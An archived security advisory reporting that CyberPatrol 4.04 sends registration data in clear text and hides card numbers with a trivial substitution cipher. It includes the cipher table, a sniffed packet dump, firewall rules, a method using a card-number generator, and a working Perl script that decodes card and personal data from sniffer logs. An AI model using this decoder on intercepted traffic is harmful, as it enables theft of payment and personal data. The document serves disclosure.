Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Security App Flaws :: cpatro.htm

CyberPatrol 4.04.003 & 4.04.005 - registration info sent in clear text, CC info has weak cipher



Vulnerability

    CyberPatrol

Affected

    CyberPatrol 4.04.003 & 4.04.005 (possibly all other versions)

Description

    Joey Maier and Dan Kaminsky found following. All registration info
    except the credit card # is sent  in  clear  text,  and  the  card
    number is obfuscated with a trivial substitution cipher.

    A simple program written in  Perl is included with this  advisory;
    given logs from  the Snort network  sniffer, it will  display full
    registration and credit card information.

    CyberPatrol is a controversial  but popular product for  censoring
    family,   library,   and   corporate   computer   systems  against
    (ostensibly)  sexual,  hateful,  or  other forbidden categories of
    websites.  (The  liberties that CyberPatrol  has taken with  these
    categories, combined  with their  extensive legal  actions against
    those who exposed such  liberties, caused the Library  of Congress
    to enact  a special  exemption defending  those who  CyberPatrol's
    authors were attacking).

    Registration for CyberPatrol is handled directly by the  software,
    rather than through an  SSL-encrypted web interface.   The client,
    downloadable  from  http://www.cyberpatrol.com,  presents the user
    with a registration form requesting standard information as  well.
    Before any information  is sent to  Microsys, the client  verifies
    that the  credit card  number qualifies  as a  valid Luhn  number.
    Credit cards are Luhn numbers.  More info on the Luhn Formula  can
    be found at:

        http://perl.about.com/compute/perl/library/weekly/aa080600a.htm
        http://perl.about.com/compute/perl/library/weekly/aa073000a.htm

    Assuming it is, the  client sends the registration  information to
    cybercentral.microsys.com  (204.57.42.15)  via  normal  http.  (It
    uses a POST request.)   The email address, expiration date  of the
    credit  card,  name,  address,  and  phone  number are all sent in
    clear text, without any attempt to obfuscate or encrypt.   (Please
    note    that    the    form,     which    is    illustrated     at
    http://www.cyberpatrol.com/trial/reg_sof.htm,     claims      that
    "the above information will be scrambled before being sent".)

    The credit card information  is not much better  off:  It is  sent
    using   an   extraordinarily   ineffective   substitution  cipher,
    equivalent to that which may be  found in the games pages of  many
    newspapers.  This code is as follows:

        0=z, 1={, 2=x, 3=y, 4=%7E, 5=., 6=|, 7=}, 8=r, 9=s

    The following is  an example of  a POST request  which is destined
    for cybercentral.microsys.com (the  card number was  generated for
    this test only and was never submitted).

        ===================================================================
        07/30-05:49:18.648744 192.168.23.13:1026 -> 204.57.42.15:80
        TCP TTL:128 TOS:0xF8 ID:2048  DF
        ***PA* Seq: 0x2E92F   Ack: 0x1BF0E567   Win: 0x2238
        50 4F 53 54 20 2F 72 65 67 69 73 74 65 72 2F 20  POST /register/
        48 54 54 50 2F 31 2E 30 0D 0A 55 73 65 72 2D 41  HTTP/1.0..User-A
        67 65 6E 74 3A 20 43 79 62 65 72 20 50 61 74 72  gent: Cyber Patr
        6F 6C 0D 0A 41 63 63 65 70 74 3A 20 2A 2F 2A 0D  ol..Accept: */*.
        0A 43 6F 6E 74 65 6E 74 2D 74 79 70 65 3A 20 61  .Content-type: a
        70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77  pplication/x-www
        2D 66 6F 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64  -form-urlencoded
        0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68  ..Content-Length
        3A 20 33 30 31 0D 0A 0D 0A 45 4D 41 49 4C 3D 6D  : 301....EMAIL=m
        61 69 65 72 6A 25 34 30 68 6F 6D 65 2E 63 6F 6D  aierj%40home.com
        26 43 41 52 44 3D 25 37 45 7B 78 72 25 37 45 7A  &CARD=%7E{xr%7Ez
        7D 72 7B 7D 7F 78 79 79 72 7A 26 45 58 50 3D 30  }r{}.xyyrz&EXP=0
        39 30 32 26 4E 41 4D 45 3D 4A 6F 65 79 25 32 30  902&NAME=Joey%20
        4D 61 69 65 72 26 41 44 44 52 31 3D 31 36 30 30  Maier&ADDR1=1600
        25 32 30 50 65 6E 6E 73 79 6C 76 61 6E 69 61 25  %20Pennsylvania%
        32 30 41 76 65 2E 25 32 30 4E 57 26 41 44 44 52  20Ave.%20NW&ADDR
        32 3D 26 43 49 54 59 3D 57 61 73 68 69 6E 67 74  2=&CITY=Washingt
        6F 6E 25 32 30 7C 25 32 30 44 43 25 32 30 7C 25  on%20|%20DC%20|%
        32 30 32 30 35 30 30 25 32 30 7C 25 32 30 26 50  2020500%20|%20&P
        48 4F 4E 45 3D 32 30 32 25 32 30 34 35 36 25 32  HONE=202%20456%2
        30 31 34 31 34 26 53 49 54 45 25 32 30 53 4E 3D  01414&SITE%20SN=
        37 31 34 31 26 4F 50 54 49 4F 4E 3D 31 26 50 52  7141&OPTION=1&PR
        4F 44 55 43 54 3D 24 32 39 2E 39 35 25 32 30 50  ODUCT=$29.95%20P
        72 6F 67 72 61 6D 25 32 30 77 25 32 46 25 32 30  rogram%20w%2F%20
        33 25 32 30 6D 6F 2E 25 32 30 6C 69 73 74 26 43  3%20mo.%20list&C
        4E 4F 54 3D 39 31 26 52 45 56 3D 34 2E 30 34 2E  NOT=91&REV=4.04.
        30 30 34 26 53 4F 55 52 43 45 3D 57 49 4E 2D 4D  004&SOURCE=WIN-M
        53 49 2D 57 45 42
        ===================================================================

    Similar information  could be  found in  the logs  of a  corporate
    or educational proxy administrator; the important thing to note is
    the amount of personal information plainly visible along the right
    side of the sniffed request.

    Interestingly enough,  it appears  the client  determines its  own
    price.  Oops.

    All that is required for an attacker to retrieve this  information
    is for a  sniffer to be  placed upstream before  204.57.42.15, the
    IP  address  of  Microsys's  servers.   Microsys  has no method in
    place to detect, address, or reasonably frustrate such a sniffer.

    Methodology:

       1. Download and install CyberPatrol client.
       2. Take  a  firewall  with  advanced configurability  (Novell's
          BorderManager lacks advanced configurability) and  configure
          it to block PUSH-ACK and RST packets.

          These  are  the  IPFilter  rules  used  in  the  methodology
          described above.  (Obviously, there's some redundancy  here,
          but we wanted to err on  the side of caution.  The  IPF gods
          among you can certainly produce a cleaner ruleset.)
          ============================================================
        block in on ne1 proto tcp from any to any
        
        block in  quick on ne1 proto tcp from any to any flags R
        block out quick on ne1 proto tcp from any to any flags R
        block in  quick on ne0 proto tcp from any to any flags R
        block out quick on ne0 proto tcp from any to any flags R
        block in quick on ne0 proto tcp from any to cybercentral.microsys.com flags PA
        block out quick on ne0 proto tcp from any to cybercentral.microsys.com flags PA
        block in quick on ne1 proto tcp from any to cybercentral.microsys.com flags PA
        block out quick on ne1 proto tcp from any to cybercentral.microsys.com flags PA
        
        pass in quick on ne1 proto tcp  from cybercentral.microsys.com to 192.168.23.0/24
        pass out on ne1 proto tcp  from any to cybercentral.microsys.com  flags S
        pass in on ne1 proto tcp  from cybercentral.microsys.com to 192.168.23.0/24 flags S/SA
          ============================================================
          (This will allow  the CyberPatrol client  to do an  nslookup
          and  handshake  through  the  firewall,  but  won't  let  it
          actually send  the POST  info to  cybercentral.microsys.com.
          Test your  rules first  with a  valid card  you own;  if you
          got them wrong, you want  to find out without being  accused
          of credit fraud.)
       3. Execute a Luhn number  generator (we used CreditMaster v.  4
          from WTI) to generate some card numbers.
       4. Start snort (http://www.snort.org)  and use it to  sniff the
          POST requests that the client is trying to send.
       5. Try to register (If  your firewall is properly blocking  the
          POST request, this will fail and the cyberpatrol client will
          hang)
       6. use the perl  script below to parse  the snort log and  dump
          the credit card information to stdout in plain text.

    Here's an  example of  the output  from the  perl script  included
    below:

    $ ./cpetrol.pl
    EMAIL=maierj@home.com
    CARD=4128624250251572
    EXP=0502
    NAME=Joey Maier
    ADDR1=1600 Pennsylvania Ave. NW
    ADDR2=
    CITY=Washington | DC | 20500 |
    PHONE=202 456 1414
    
    
    #################################################
    # Name: cpetrol.pl
    #
    # Author: Joey Maier <maierj@home.com>
    #
    # purpose: parse snort logs of cyberpatrol
    # registration and dump the registration
    # information (including the credit
    # card numbers) in plain text to
    # stdout.
    #
    # useage: ./cpetrol.pl
    #
    # requirements: You have to have a snort log
    # of the registration, it has
    # to be named "log", and it
    # needs to be in this directory
    #
    # Greets: Thanks to Dan Kaminsky for his
    # help in researching this bug.
    #
    #################################################
    
    #!/usr/bin/perl
    
    $showline=0;
    open(SNORT, "log");
    LINE:while($line=<SNORT>){
	    @field=split /\s/, $line;
	    if($#field>0 && $#field<15){next LINE;}
	    if(!($line=~/\w/)){
		    $registerinfo=~s/\%20/ /g;
		    $registerinfo=~s/\%40/@/g;
		    ($junk, $registerinfo)=split /\.\.\.\./, $registerinfo;
		    @array=split /\&/, $registerinfo;
		    if($array[0]=~/EMAIL/){print "$array[0]\n";}
    
		    if($array[1]=~/CARD/){print "CARD=";}
	            @chararray=split //, $array[1];
       		    $arraylength=$#chararray;
        	    for($i=0; $i<$arraylength+1; ++$i){
                	    if($chararray[$i]=~/\%/){
                        	    $checkchar="$chararray[$i]";
                        	    $checkchar.="$chararray[$i+1]";
                        	    $checkchar.="$chararray[$i+2]";
                        	    $i=$i+2;
                	    }
                	    else{$checkchar="$chararray[$i]";}
    
                	    if($checkchar=~/z/){print "0";}
                	    elsif($checkchar=~/{/){print "1";}
                	    elsif($checkchar=~/x/){print "2";}
                	    elsif($checkchar=~/y/){print "3";}
                	    elsif($checkchar=~/\%7E/){print "4";}
                	    elsif($checkchar=~/\./){print "5";}
                	    elsif($checkchar=~/\|/){print "6";}
                	    elsif($checkchar=~/\}/){print "7";}
                	    elsif($checkchar=~/r/){print "8";}
                	    elsif($checkchar=~/s/){print "9";}
    
    
        	    }
    
		    if($array[2]=~/EXP/){print "\n$array[2]\n";}
		    if($array[3]=~/NAME/){print "$array[3]\n";}
		    if($array[4]=~/ADDR1/){print "$array[4]\n";}
		    if($array[5]=~/ADDR2/){print "$array[5]\n";}
		    if($array[6]=~/CITY/){print "$array[6]\n";}
		    if($array[7]=~/PHONE/){print "$array[7]\n\n\n";}
    
		    $registerinfo="";
		    $showline=0;
	    }
	    if($line=~/POST/){$showline=1}
	    if($showline eq 1){
		    ($junk, $line)=split /  /, $line;
		    chomp($line);
		    $registerinfo.=$line;
	    }
    }

Solution

    None available.  Don't install  this product until they fix  their
    registration process.  If you must install this product,  consider
    using AntiSniff  (http://www.l0pht.com/antisniff/) before  hand to
    make  sure  there  are  no  unauthorized  sniffers running on your
    local network.


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH